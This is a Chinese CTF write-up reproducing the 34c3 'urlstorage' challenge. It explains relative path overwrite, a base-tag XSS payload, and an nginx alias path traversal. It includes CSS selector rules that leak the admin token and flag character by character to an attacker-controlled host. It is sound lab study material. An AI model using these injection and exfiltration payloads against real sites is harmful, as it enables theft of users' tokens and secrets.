34c3ctf-urlstorage复现

拿34c3ctf的一道题学习一下rpo漏洞和django的配置

测试环境

Github上的一个CTF题目的源码,利用RPO,进行XSS+CSRF攻击。

https://github.com/eboda/34c3ctf/tree/master/urlstorage

ps: build的时候,发现mysql服务起不来,排了下错,发现是权限问题,修改Dockerfile文件,在起mysql服务前加上chown -R mysql:mysql /var/lib/mysql解决。

RPO(Relative Path Overwrite)

描述:

RPO(Relative Path Overwrite)相对路径覆盖,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

利用方法

1.加载任意目录下静态资源文件

就是通过相对路径加载不同路径下的其他同名js/css文件。

2.将返回内容按静态文件解析

在很多使用了url_rewrite的php开发框架以及python web框架中,经常使用相对路径来加载静态资源文件,而且url都有一个特征。
比如/rpo/user/id/1,这里表示使用参数为id,值为1的内容访问user接口;
比如/rpo/user.php/name/tester,这里表示使用参数name,内容为tester的内容访问user.php文件等。
本题里,正常的链接是这样的:

image.png

我们访问这样一个链接,发现还是返回了原内容,但是没有css的解析。
image.png

css的解析地址是:
image.png

正常的网站访问,就会去访问/static/css/milligram.min.css,获取到css文件,而第二次访问,虽然由于url_rewrite,也返回了网页内容,css地址被认为是/urlstorage/static/css/milligram.min.css,所以没有被解析。而又由于url_rewrite,返回内容就是文件内容,我们如果控制其中的内容,利用CSS在加载的时候与JS一样是逐行解析的,不同的是CSS会忽略页面中不符合CSS语法的行,可以将文件内容按照静态文件解析。
比如输入:%0a{}%0aurl:{}*{color:red}
image.png

返回的文本被当作静态文件解析了。

回到题目

题目有几个发现。
1.在urstorage页面存在csrf,可以任意修改他人的url链接,结合css加载可构成rop。


image.png

2.在contact页面存在ssrf,提交的所有链接会被管理员点击。
3.在flag页面token存在跨站。

通过观察页面可以知道真正的flag在管理员的flag页面里。
根据https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass里提到的CSS选择器来读取页面内容,可以形成攻击思路,利用contact页面提交的链接,修改管理员的url内容,让其加载我们指定的css样式,我们读取其页面内容。
我们的目的是读取flag,读取flag需要首先知道管理员的token值,所以我们第一步是要通过urlstorage页面读取其token,另外在flag页面无法直接构成rop,需要知道另一个知识。

在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了
base标签,那么就会读取base标签中的url作为base url。

而这题在flag页面存在跨站,跨站点就在head标签里,所以正好可以利用其构成base标签。

http://192.168.42.134:8080/flag?token=cdebcc090a8b4e339b876c33ad1c0acb%3C/title%3E%3Cbase%20href=urlstorage/123%3E
image.png

获取管理员token。
通过语句:

a[href^=flag\?token\=0]{background: url(//192.168.8.143/ctf/ans.php?ans=0);}
a[href^=flag\?token\=1]{background: url(//192.168.8.143/ctf/ans.php?ans=1);}
......
a[href^=flag\?token\=f]{background: url(//192.168.8.143/ctf/ans.php?ans=f);}

之后获取flag:
有个坑点css选择器在匹配的时候首字符不能是数字。因为flag的格式是34c3_,可以用以下两种方式解决:

1、使用css的*模糊匹配
#flag[value*=C3_1]{background: url(http://xxx.pw/?flag=C3_1);}
2、使用16进制编码
#flag[value^=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}

还有个坑点,提交链接后提示,管理员只会花3秒钟处理你的链接,而3秒钟连token都跑不出来,并且每次管理员访问你的链接都会更新token,所以要求我们一次性完成获取flag。
这里要用到题目给的一个pow.py,用脚本跑出一个解并提交,管理员就会用30秒处理你的链接。
大佬的代码(膜拜):

https://github.com/eboda/34c3ctf/edit/master/urlstorage/exploit/exploit.php

nginx配置错误导致目录穿越

这道题还有一个非预期解。
在于题目使用了Nginx做反向代理,动态的部分被proxy_pass传递给后端端口,而静态文件需要Nginx来处理。
而Nginx在配置时,url上startic没有加后缀,后面的alias加了后缀‘/’,这个/就导致我们可以从/static/目录穿越到它的上层目录。


image.png

image.png

可以直接读取到flag:


image.png

参考:http://blog.nsfocus.net/rpo-attack/
参考:https://paper.seebug.org/493/
参考:https://lorexxar.cn/2017/10/25/csp-paper/

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,036评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,046评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,411评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,622评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,661评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,521评论 1 304
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,288评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,200评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,644评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,837评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,953评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,673评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,281评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,889评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,011评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,119评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,901评论 2 355

推荐阅读更多精彩内容

  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML标准。 注意:讲述HT...
    kismetajun阅读 27,486评论 1 45
  • 口外的羊肥,特别是锡盟的羊肉,很少膻味,是内蒙人主要的食用肉之一。不知何故很多人家根本不吃羊肉,我家里就羊...
    行者无疆1953阅读 454评论 0 1
  • 原来,人们抱怨关系户的时候 不是为了伸张社会正义,而是 他没有关系可找。
    暴躁的绿萝不开花阅读 131评论 0 0
  • 在一个地方,有太多的事情却不知道要从哪里下手去做,这个时候好迷茫心里好慌。怕误事,怕被抛弃,怕落后……无助的感受真...
    青山伴春风阅读 228评论 5 2